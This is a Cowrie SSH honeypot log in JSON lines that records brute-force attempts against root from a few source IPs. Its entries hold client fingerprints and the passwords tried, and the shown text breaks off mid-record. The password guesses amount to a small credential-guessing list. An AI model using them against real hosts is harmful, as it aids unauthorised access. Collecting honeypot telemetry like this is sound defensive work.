{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:00.903223Z","src_ip":"60.165.124.241","session":"edef603d404d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37360,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf0bf3804ae4","protocol":"ssh","message":"New connection: 60.165.124.241:37360 (10.17.0.5:22) [session: bf0bf3804ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:01.159876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:01.167904Z","src_ip":"60.165.124.241","session":"bf0bf3804ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:07.865755Z","src_ip":"60.165.124.241","session":"bf0bf3804ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zfst9155..","message":"login attempt [root/zfst9155..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:10.016536Z","src_ip":"60.165.124.241","session":"bf0bf3804ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:11.281693Z","src_ip":"60.165.124.241","session":"bf0bf3804ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49770,"dst_ip":"10.17.0.5","dst_port":22,"session":"f347ca611fd5","protocol":"ssh","message":"New connection: 60.165.124.241:49770 (10.17.0.5:22) [session: f347ca611fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:12.533391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:12.539365Z","src_ip":"60.165.124.241","session":"f347ca611fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:12.808612Z","src_ip":"60.165.124.241","session":"f347ca611fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iDirect","message":"login attempt [root/iDirect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:15.708533Z","src_ip":"60.165.124.241","session":"f347ca611fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:16.966926Z","src_ip":"60.165.124.241","session":"f347ca611fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56644,"dst_ip":"10.17.0.5","dst_port":22,"session":"320484cf8b81","protocol":"ssh","message":"New connection: 60.165.124.241:56644 (10.17.0.5:22) [session: 320484cf8b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:17.218332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:17.234830Z","src_ip":"60.165.124.241","session":"320484cf8b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:17.497566Z","src_ip":"60.165.124.241","session":"320484cf8b81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud@2025","message":"login attempt [root/Cloud@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:18.280930Z","src_ip":"60.165.124.241","session":"320484cf8b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:19.541259Z","src_ip":"60.165.124.241","session":"320484cf8b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59908,"dst_ip":"10.17.0.5","dst_port":22,"session":"78278f8e505f","protocol":"ssh","message":"New connection: 60.165.124.241:59908 (10.17.0.5:22) [session: 78278f8e505f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:19.791574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:19.797799Z","src_ip":"60.165.124.241","session":"78278f8e505f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:23.163642Z","src_ip":"60.165.124.241","session":"78278f8e505f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12Qwaszx","message":"login attempt [root/12Qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:24.645825Z","src_ip":"60.165.124.241","session":"78278f8e505f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:25.886229Z","src_ip":"60.165.124.241","session":"78278f8e505f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39576,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcbc0b17108e","protocol":"ssh","message":"New connection: 60.165.124.241:39576 (10.17.0.5:22) [session: bcbc0b17108e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:26.125692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:26.130841Z","src_ip":"60.165.124.241","session":"bcbc0b17108e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:26.377306Z","src_ip":"60.165.124.241","session":"bcbc0b17108e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":38350,"dst_ip":"159.203.135.109","dst_port":22,"session":"05d6030c8a4b","protocol":"ssh","message":"New connection: 193.24.211.100:38350 (159.203.135.109:22) [session: 05d6030c8a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:26.616755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:26.621795Z","src_ip":"193.24.211.100","session":"05d6030c8a4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:26.730143Z","src_ip":"193.24.211.100","session":"05d6030c8a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magelang56511%$#@!","message":"login attempt [root/magelang56511%$#@!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:27.111583Z","src_ip":"60.165.124.241","session":"bcbc0b17108e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2a3a4a","message":"login attempt [root/1a2a3a4a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:27.279105Z","src_ip":"193.24.211.100","session":"05d6030c8a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:28.356264Z","src_ip":"60.165.124.241","session":"bcbc0b17108e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:28.393250Z","src_ip":"193.24.211.100","session":"05d6030c8a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42286,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb1ddbd9c7a","protocol":"ssh","message":"New connection: 60.165.124.241:42286 (10.17.0.5:22) [session: afb1ddbd9c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:28.588763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:28.595248Z","src_ip":"60.165.124.241","session":"afb1ddbd9c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:28.834220Z","src_ip":"60.165.124.241","session":"afb1ddbd9c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samira1","message":"login attempt [root/samira1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:29.565628Z","src_ip":"60.165.124.241","session":"afb1ddbd9c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:30.806759Z","src_ip":"60.165.124.241","session":"afb1ddbd9c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45456,"dst_ip":"10.17.0.5","dst_port":22,"session":"644242e328ab","protocol":"ssh","message":"New connection: 60.165.124.241:45456 (10.17.0.5:22) [session: 644242e328ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:31.080338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:31.090272Z","src_ip":"60.165.124.241","session":"644242e328ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:31.347234Z","src_ip":"60.165.124.241","session":"644242e328ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":19547,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a1d73bd72b","protocol":"ssh","message":"New connection: 2.57.121.25:19547 (159.203.135.109:22) [session: 84a1d73bd72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:31.539027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:00:31.549221Z","src_ip":"2.57.121.25","session":"84a1d73bd72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr